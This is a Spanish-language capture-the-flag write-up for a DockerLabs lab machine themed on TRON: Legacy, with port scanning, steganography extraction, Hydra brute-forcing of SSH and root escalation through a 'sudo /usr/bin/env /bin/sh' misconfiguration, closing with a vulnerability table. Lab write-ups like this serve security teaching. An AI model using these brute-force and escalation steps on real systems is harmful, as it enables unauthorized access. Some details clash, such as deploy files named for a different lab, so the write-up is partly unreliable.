Taller de hacking ético: Tron

Máquina Linux vulnerable en la que debemos combinar técnicas combinadas de enumeración, esteganografía, ataques de fuerza bruta y la explotación de binarios para tomar el control como root.

Taller de hacking ético: Tron
  1. Home
  2. Blog
  3. Taller de hacking ético: Tron

0. Taller de hacking ético dockerlabs.es: Hannah Coffee

Este laboratorio está inspirado en el universo digital de TRON: Legacy. Combina técnicas de enumeración de red en el Grid, esteganografía de archivos ocultos por el Creador, ataques de fuerza bruta dirigidos contra protocolos de acceso seguro y la vulneración de directivas binarias para tomar el control absoluto del sistema central de Kevin Flynn.

Banner del taller de hacking ético: Tron

1. Reconocimiento y Enumeración

Descargamos, descomprimimos y lanzamos el docker, nos informa que la IP de la máquina a auditar es 172.17.0.2

unzip hannah_coffee.zip
sudo bash auto_deploy.sh hannah-coffee.tar

1.1. Comprobación de la conectividad

┌──(alberto㉿kali)-[~/Descargas]
└─$ ping -c 2 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.146 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.119 ms

--- 172.17.0.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1031ms
rtt min/avg/max/mdev = 0.119/0.132/0.146/0.013 ms

  • El ttl=64 (Time to Live) confirma que el destino está en nuestra propia máquina o en la misma red local/Docker. 64 es el valor por defecto en Linux.
  • rtt min/avg/max/mdev = 0.051/0.246/0.441/0.195 ms: Las estadísticas de tiempo (mínimo, promedio, máximo y desviación estándar). El tiempo medio es de apenas 0.1 milisegundos, lo cual demuestra una comunicación prácticamente instantánea.

Observamos una página web simple, con una imagen y un h1 sin aparentemente nada más.No hay comentarios ni caracteres ocultos en el código. Analizaremos más adelante la imagen.

Página web del taller de hacking ético: Tron

1.2. Escaneo de puertos completo

nmap -sC -sV -Pn -n -T4 -p- --open 172.17.0.2
  • -p-: escanea los 65535 puertos TCP.
  • -sV: detección de versión de servicio.
  • -sS: escaneo silencioso
  • -sC: ejecuta los scripts NSE por defecto (banners, títulos HTTP, etc.).
  • -Pn: para no ejecutar el comando ping, ya que algunas máquinas tienen deshabilitado el ping porpmotivos de seguridad.
  • -n: Para que no haga la resolución de DNSs
  • --open : muestra solo puertos abiertos.
  • -T4: plantilla de velocidad "agresiva" (adecuada en local).
┌──(alberto㉿kali)-[~/Descargas]
└─$ nmap -sC -sV -Pn -n -T4 -p- --open 172.17.0.2
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-24 09:05 +0200
Nmap scan report for 172.17.0.2
Host is up (0.0000020s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.2p1 Ubuntu 2ubuntu3.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.66 ((Ubuntu))
|_http-server-header: Apache/2.4.66 (Ubuntu)
|_http-title: TRON
MAC Address: 8E:BF:CB:70:4C:7F (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.80 seconds

Hallazgos:

Puerto Servicio Columna 3
22/tcp SSH OpenSSH 10.2p1 Ubuntu 2ubuntu3.8 (Ubuntu Linux; protocol 2.0)
80/tcp HTTP Apache httpd 2.4.66 ((Ubuntu))

1.3. Fuzzing de Directorios y Archivos:

gobuster dir -u http://172.17.0.2 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

No encuentra nada, pruebo otros diccionarios:

gobuster dir -u http://172.17.0.2 -w /usr/share/seclists/Discovery/Web-Content/common.txt

Fuzzing de directorios con gobuster del taller de hacking ético: Tron

A simple vista, el resultado del gobuster parece un callejón sin salida porque solo muestra archivos comunes de Apache (index.html, protecciones .htaccess que devuelven 403 Forbidden, etc.).

Probaremos con la imagen de la web. El propio taller ya nos dice que debemos investigar algo oculto en ella (esteganografía).

1.3. Esteganografía. Analisis de la imagen de la web.

La esteganografía es el arte y la técnica de ocultar información (un mensaje, archivo o código) dentro de otro archivo o medio de apariencia inocua, de modo que nadie note que esa comunicación existe.

Se utiliza modificando de forma casi imperceptible los datos de un archivo común para insertar el contenido oculto:

  • Imágenes: Se altera el bit menos significativo (método LSB, por sus siglas en inglés) de los colores en los píxeles de una fotografía. El ojo humano no percibe el cambio de color, pero un programa puede extraer el código binario incrustado.
  • Audio y Video: Se insertan variaciones sutiles en las frecuencias, amplitudes o capas multimedia.
  • Texto y Red: Se usan espacios en blanco invisibles, variaciones de caracteres o campos vacíos en el tráfico de paquetes de red.

La imagen con datos ocultos del taller de hacking ético: Tron

Analizamos si la imagen tiene metadatos

Usamos Exiftool para buscar metadatos:

└─$ exiftool tron.jpg
ExifTool Version Number         : 13.55
File Name                       : tron.jpg
Directory                       : .
File Size                       : 30 kB
File Modification Date/Time     : 2026:10:24 13:54:47+02:00
File Access Date/Time           : 2026:10:24 13:56:02+02:00
File Inode Change Date/Time     : 2026:10:24 13:54:47+02:00
File Permissions                : -rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 518
Image Height                    : 415
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 518x415
Megapixels                      : 0.215

No encontramos nada relevante. Vamos a probar StegHide:

                                                                                                                               
┌──(alberto㉿kali)-[~/Descargas]
└─$ steghide info tron.jpg       
"tron.jpg":
  formato: jpeg
  capacidad: 1,5 KB
�Intenta informarse sobre los datos adjuntos? (s/n) s
Anotar salvoconducto: 

El comando steghide info confirmó que la imagen esconde datos (tiene una capacidad de 1,5 KB) y te está pidiendo una contraseña (Anotar salvoconducto), lo que significa que hay un archivo oculto dentro de tron.jpg protegido por contraseña.

Vamos a intentar hacer algo de ingeniería social y pedir a la IA qeu nos proporcione una lista de palabras clave del universo Tron. Guardaremos esa lista en un archivo de texto para usarlo como diccionario de fuerza bruta:

cat << 'EOF' > tron.txt
tron
flynn
sam
quorra
clu
tron
rinzler
zuse
castor
jarvis
iso
creator
user
program
sark
mcp
alan
bradley
dillinger
encom
disco
legacy
EOF

Vamos a crear un shell script para probar todas estas contraseñas que guardaremos como tron_brute.sh:

#!/bin/bash

WORDLIST="/home/alberto/Descargas/tron.txt"
IMAGE="/home/alberto/Descargas/tron.jpg"

for pass in $(cat "$WORDLIST"); do
  echo "Probando: $pass en $IMAGE"
  steghide extract -sf tron.jpg -p "$pass" -f
done

Damos permisos de ejecución chmod +x tron_brute.sh y ejecutamos ./tron_brute.sh:

┌──(alberto㉿kali)-[~/Descargas]
└─$ ./tron_brute.sh
Probando: flynn en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: sam en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: quorra en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: clu en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: tron en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: rinzler en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: zuse en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: castor en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: jarvis en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: iso en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: creator en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: user en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: program en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: sark en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: mcp en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: alan en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: bradley en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: dillinger en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Probando: encom en /home/alberto/Descargas/tron.jpg
steghide: �no pude extraer ning�n dato con ese salvoconducto!

No ha habido suerte. Así que probaremos con otro diccionario: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt. Pero antes probamos sin contraseña... Era así de sencillo, no habñia contraseña.

Nos ha descargado un archivo: disco.txt. Lo abrimos y el contiene el siguiente texto:

quorra

"Lo que pasa con la perfección es que es incognoscible. Es imposible, pero también está justo frente a nosotros todo el tiempo."

Se trata de una cita de la película Tron Legacy hecha por el personaje Quorra. Esta información puede ser valiosa. Es hora de investigar el otro puerto abierto, el 22 con un servicio SSH.

2. Explotación

Vimos que el puerto 22 con servicio SSH estaba abierto. Desconocemos el usuario y la contraseña así que primero trataremos de encontrar el usuario y posteriormente la contraseña. Usaremos primero ingeniería social para descubrir ambos y en caso de no tener éxito iremos por la fuerza bruta.

Ya que la temática es Tron Legacy usaremos el mini diccionario que hemos creado anteriormente tron.txt. En primer lugar sin embargo probaremos el usuario quorra ya que es la pista que hemos logrado por esteganografía.

No hemos tenido éxito con el usuario y contraseña quorra, supongo que la pista servirá para más adelante. Usaremos fuerza bruta partiendo el diccionario tron.txt que creamos previamente:

hydra -L tron.txt -P tron.txt ssh://172.17.0.2 -t 4
  • -L: pide una lista de usuarios
  • -P: pide una lista de contraseñas
  • -t 4: Hydra abrirá 4 hilos de trabajo simultáneos para probar las combinaciones de usuario y contraseña.

Lo lanzamos, y muy pronto obtenemos el resultado que estábamos esperando, tanto el usuario como la contraseña son tron, desde luego una contraseña muy débil.

Hydra encontrando credenciales de ssh por fuerza bruta en el taller de hacking ético: Tron

Entramos en el servidor por SSH:

┌──(alberto㉿kali)-[~/Descargas]
└─$ ssh tron@172.17.0.2        
tron@172.17.0.2's password: 
Welcome to Ubuntu 26.04.1 LTS (GNU/Linux 6.19.14+kali-amd64 x86_64)

 * Documentation:  https://docs.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
tron@e03e84939b98:~$ 

3. Escalado de privilegios.

Un vistazo rápido y un intento tonto por si suena la flauta:

tron@e03e84939b98:~$ ls -la
total 28
drwxr-x--- 1 tron tron 4096 Oct 24 17:44 .
drwxr-xr-x 1 root root 4096 Oct 19 04:28 ..
-rw-r--r-- 1 tron tron  220 Feb 13  2026 .bash_logout
-rw-r--r-- 1 tron tron 3771 Feb 13  2026 .bashrc
drwx------ 2 tron tron 4096 Oct 24 17:44 .cache
-rw-r--r-- 1 tron tron  807 Feb 13  2026 .profile
tron@e03e84939b98:~$ id
uid=1001(tron) gid=1001(tron) groups=1001(tron)
tron@e03e84939b98:~$ sudo -l
Matching Defaults entries for tron on e03e84939b98:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tron may run the following commands on e03e84939b98:
    (ALL) NOPASSWD: /usr/bin/env

¡Bingo! El resultado de sudo -l nos dice que el usuario tron puede ejecutar el comando /usr/bin/env con privilegios de root ((ALL)) sin necesidad de introducir contraseña (NOPASSWD). La explotación de este binario para conseguir tal efecto está documentada en GTFOBins

tron@e03e84939b98:~$ sudo /usr/bin/env /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)

Lo tenemos, hemos conseguido permisos de root, escalada de permisos completada. Ahora que tenemos el control absoluto del sistema central de Kevin Flynn, el último paso en cualquier CTF es encontrar la bandera (flag) y reclamar nuestra victoria.

4. Capturar la bandera.

Por lo general la bandera, si no se ha querido ocultar mucho, suele estar en:

  • El directorio personal del usuario root (/root/).
  • El directorio raíz del sistema (/).
  • en algún archivo de configuración especial dentro del Grid.
# cd /root
# pwd
/root
# ls -la
total 44
drwx------ 1 root root  4096 Oct 19 20:47 .
drwxr-xr-x 1 root root  4096 Oct 24 11:15 ..
-rw-r--r-- 1 root root  3106 Apr 20  2026 .bashrc
-rw-r--r-- 1 root root   132 Apr 20  2026 .profile
drwx------ 2 root root  4096 Oct 19 00:35 .ssh
-rwxr-xr-x 1 root root 17528 Oct 19 20:47 login_flynn
-rw-r--r-- 1 root root    87 Oct 19 20:47 sistema.txt

El archivo sistema nos deja un mensaje para nosotros:

# cat sistema.txt
te hacke no eres root «La única forma de ganar el juego es no jugar»
¿esta seguro?

El archivo login_flynn es un ejecutable, lo ejecutamos y nos pide un login, ahora si vamos a probar la pista conseguida dentro de la imagen (quorra):

# ./login_flynn
=========================================
                 RED JOHN        
=========================================
Username: 

Capturada la bandera del taller de hacking ético: Tron

Tenemos nuestra bandera: DL{disco}

5. Vulnerabilidades encontradas.

Uso Inseguro de Esteganografía / Datos Ocultos (Gestión Deficiente de Credenciales)
Identificación VULN-01
Severidad / Nivel MEDIA
Categoría OWASP OWASP Top 10 (2021) A07:2021 - Identification and Authentication Failures (Fallos de Identificación y Autenticación) y A02:2021 - Cryptographic Failures (si se considera la protección débil de los datos).
Identificador CWE CWE-798: Use of Hard-coded Credentials (Uso de credenciales incrustadas/predecibles) o CWE-326: Inadequate Encryption Strength (Fuerza de cifrado inadecuada en el contenedor esteganográfico).
Elemento Afectado Imagen http://172.17.0.2/tron.jpg El archivo secreto o la contraseña para extraerlo es predecible, débil o accesible públicamente, facilitando el acceso inicial al atacante. En este caso no había contraseña y además el archivo arrojaba una pista para conseguir las credenciales para obtener la bandera.
Exposición de Credenciales y Protocolos de Acceso Remoto (Fuerza Bruta)
Identificación VULN-02
Severidad / Nivel ALTA
Categoría OWASP OWASP Top 10 (2021) A07:2021 - Identification and Authentication Failures (Falta de limitación de intentos de inicio de sesión o bloqueo por fuerza bruta).
Identificador CWE CWE-307: Improper Restriction of Excessive Authentication Attempts (Restricción inadecuada de intentos excesivos de autenticación) y CWE-521: Weak Password Requirements (Requisitos de contraseñas débiles)
Elemento Afectado El servicio SSH (172.17.0.2) permitió realizar ataques de fuerza bruta o adivinación de credenciales (con Hydra) debido al uso de contraseñas débiles asociadas al usuario tron.
Control de Acceso Roto o Configuración Incorrecta de Privilegios (sudo)
Identificación VULN-03
Severidad / Nivel CRÍTICA
Categoría OWASP OWASP Top 10 (2021) A01:2021 - Broken Access Control (Control de Acceso Roto). Ocurre cuando los permisos no se aplican correctamente o se otorgan privilegios excesivos a cuentas de usuario de bajo nivel
Identificador CWE CWE-250: Execution with Unnecessary Privileges (Ejecución con privilegios innecesarios) y CWE-269: Improper Privilege Management (Gestión inadecuada de privilegios).
Elemento Afectado El usuario tron tenía permisos para ejecutar el binario /usr/bin/env como root sin contraseña (NOPASSWD). Esto permitió invocar una shell del sistema con privilegios elevados de forma inmediata.

[EOF]